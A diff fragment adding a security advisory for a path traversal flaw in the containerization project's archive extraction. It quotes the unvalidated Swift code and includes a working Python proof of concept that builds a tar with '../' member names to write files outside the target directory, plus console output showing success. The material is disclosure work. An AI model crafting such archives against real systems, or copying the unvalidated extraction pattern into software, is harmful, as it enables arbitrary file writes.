+ "details": "### Summary\nThe `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.\n\n### Details\n\nThe code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.\n\n```swift\n /// Extracts the contents of an archive to the provided directory.\n /// Currently only handles regular files and directories present in the archive.\n public func extractContents(to directory: URL) throws {\n let fm = FileManager.default\n var foundEntry = false\n for (entry, data) in self {\n guard let p = entry.path else { continue }\n foundEntry = true\n let type = entry.fileType\n let target = directory.appending(path: p)\n switch type {\n case .regular:\n try data.write(to: target, options: .atomic)\n case .directory:\n try fm.createDirectory(at: target, withIntermediateDirectories: true)\n case .symbolicLink:\n guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n continue\n }\n try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n default:\n continue\n }\n chmod(target.path(), entry.permissions)\n if let owner = entry.owner, let group = entry.group {\n chown(target.path(), owner, group)\n }\n }\n guard foundEntry else {\n throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n }\n }\n```\n\n### PoC\n\nSample script `make-evil-tar.py`:\n\n```python\n#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n info = tarfile.TarInfo(\n name=\"../../../../../../../../../../../tmp/pwned.txt\"\n )\n info.size = len(payload)\n info.mtime = int(time.time())\n info.mode = 0o644\n\n tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n```\n\n\n```console\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n```\n\n### Impact\n\nAffects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.\n\nAffects users of `container image load` in the container project.\n\nThese operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.",
0 commit comments